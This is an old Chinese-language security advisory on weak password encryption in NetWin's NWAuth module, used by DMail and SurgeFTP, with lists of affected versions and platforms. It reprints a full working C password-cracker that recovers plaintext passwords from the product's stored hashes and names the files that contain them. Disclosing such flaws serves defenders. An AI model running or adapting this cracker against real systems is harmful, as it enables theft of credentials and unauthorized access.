xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Netwin NWAuth 存在密码加密不够强壮漏洞


发布时间:2001-07-23
更新时间:2001-07-23
严重程度:
威胁程度:口令恢复
错误类型:设计错误
利用方式:服务器模式

受影响系统
NetWin DMail 2.8i
NetWin DMail 2.8h
NetWin DMail 2.8g
NetWin DMail 2.8f
NetWin DMail 2.8e
NetWin DMail 2.7r
NetWin DMail 2.7q
NetWin DMail 2.7
NetWin DMail 2.5d
   - Sun Solaris 8.0
   - Microsoft Windows 98
   - Microsoft Windows 95
   - Microsoft Windows NT 4.0
   - Linux kernel 2.2.x
      + RedHat Linux 6.2 sparc
      + RedHat Linux 6.2 i386
      + RedHat Linux 6.2 alpha
   - IBM AIX 4.3.2
   - HP HP-UX 11.4
   - FreeBSD FreeBSD 5.0
   - Digital OSF/1 3.2
   - BSDI BSD/OS 4.0.1
   - Apple MacOS 9.0
NetWin Surge FTP 2.0b
   - Sun Solaris 8.0
   - Sun Solaris 7.0
   - S.u.S.E. Linux 7.0
   - RedHat Linux 7.0
   - Microsoft Windows 98
   - Microsoft Windows NT 4.0
   - Microsoft Windows 2000
   - MandrakeSoft Linux Mandrake 7.2
   - Debian Linux 2.2
NetWin Surge FTP 2.0a
   - Sun Solaris 8.0
   - Sun Solaris 7.0
   - S.u.S.E. Linux 7.0
   - RedHat Linux 7.0
   - Microsoft Windows 98
   - Microsoft Windows NT 4.0
   - Microsoft Windows 2000
   - MandrakeSoft Linux Mandrake 7.2
   - Debian Linux 2.2
Netwin SurgeFTP 1.0b
   - Sun Solaris 8.0
   - Sun Solaris 7.0
   - Slackware Linux 7.0
   - S.u.S.E. Linux 7.0
   - RedHat Linux 7.0
   - Microsoft Windows 98
   - Microsoft Windows NT 4.0
   - Microsoft Windows 2000
   - MandrakeSoft Linux Mandrake 7.2
   - Debian Linux 2.2
详细描述
Netwin Authentication 模块或者NWAuth是一些Netwin 产品中的
安全认证模块,其中NWAuth使用单一HASH函数执行密码加密操作,
其中攻击者可以获得一些明文密码和进行暴力攻击。

测试代码
/********************************************************************
* nwauthcrack.c - NetWin Authentication Module password cracker    *
* the SurgeFTP encrypted passwords can be found in the admin.dat & *
* nwauth.clg files in the nwauth.exe directory                     *
* by [ByteRage] <byterage@yahoo.com> [http://www.byterage.cjb.net] *
********************************************************************/

#include <string.h>
#include <stdio.h>

FILE *fh;
/* the following table indices refer to the characters our
   generated password may consist of (true/false), since
   we don't want to go into too much trouble when typing
   everything in :) */
const char okaychars[256] = {
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,
0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,
0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
};

/* DECRYPTION ALGORITHMS */
int enumpwds(unsigned char encrypted[]) {
  int heavycrypt0;
  unsigned int num=0, i, x;
  unsigned char j[256], decrypted[256];
  for(i=0; i<256;i++) { j[i] = 0; }
brute:
  heavycrypt0 = (unsigned char)encrypted[1]*255+(unsigned char)encrypted[0];
  for(i=0; i+2 < strlen(encrypted); i++) {
    for(x=j[i]; x < 256; x++) {
      if ((x * (heavycrypt0+1) % 40 == (encrypted[i+2]-0x41)) & okaychars[x]) {
        decrypted[i] = x;
        break;
      }
    }
    if (x == 256) {
next:
      if (i == 0) return num;
      if (j[i-1] < 256) { j[i-1] = decrypted[i-1]+1; x = i; } else { i--; goto next; }
      for (i=x; i < 256; i++) { j[i] = 0; }
      goto brute;
    }
    heavycrypt0 += x; heavycrypt0 *= 3; heavycrypt0 %= 0x7D00;
  }
  decrypted[i] = '\x00';
  num++;
  printf("%s\n", decrypted);  
  if (j[i-1] < 256) { j[i-1] = decrypted[i-1]+1; x = i; } else { i--; goto next; }
  for (i=x; i < 256; i++) { j[i] = 0; }
  goto brute;
}
/* DECRYPTION ALGORITHMS END */

void main(int argc, char ** argv) {
  char buf[256]; int k, l;

  printf("NetWin Authentication Module password cracker by [ByteRage]\n\n");
  
  if (argc < 2) { printf("Syntax : %s <password>\n", argv[0]); return; }
  printf("%s ->\n",argv[1]);
  
  printf("\n%d passwords found for %s\n",enumpwds(argv[1]),argv[1]);
}

解决方案
尚无

相关信息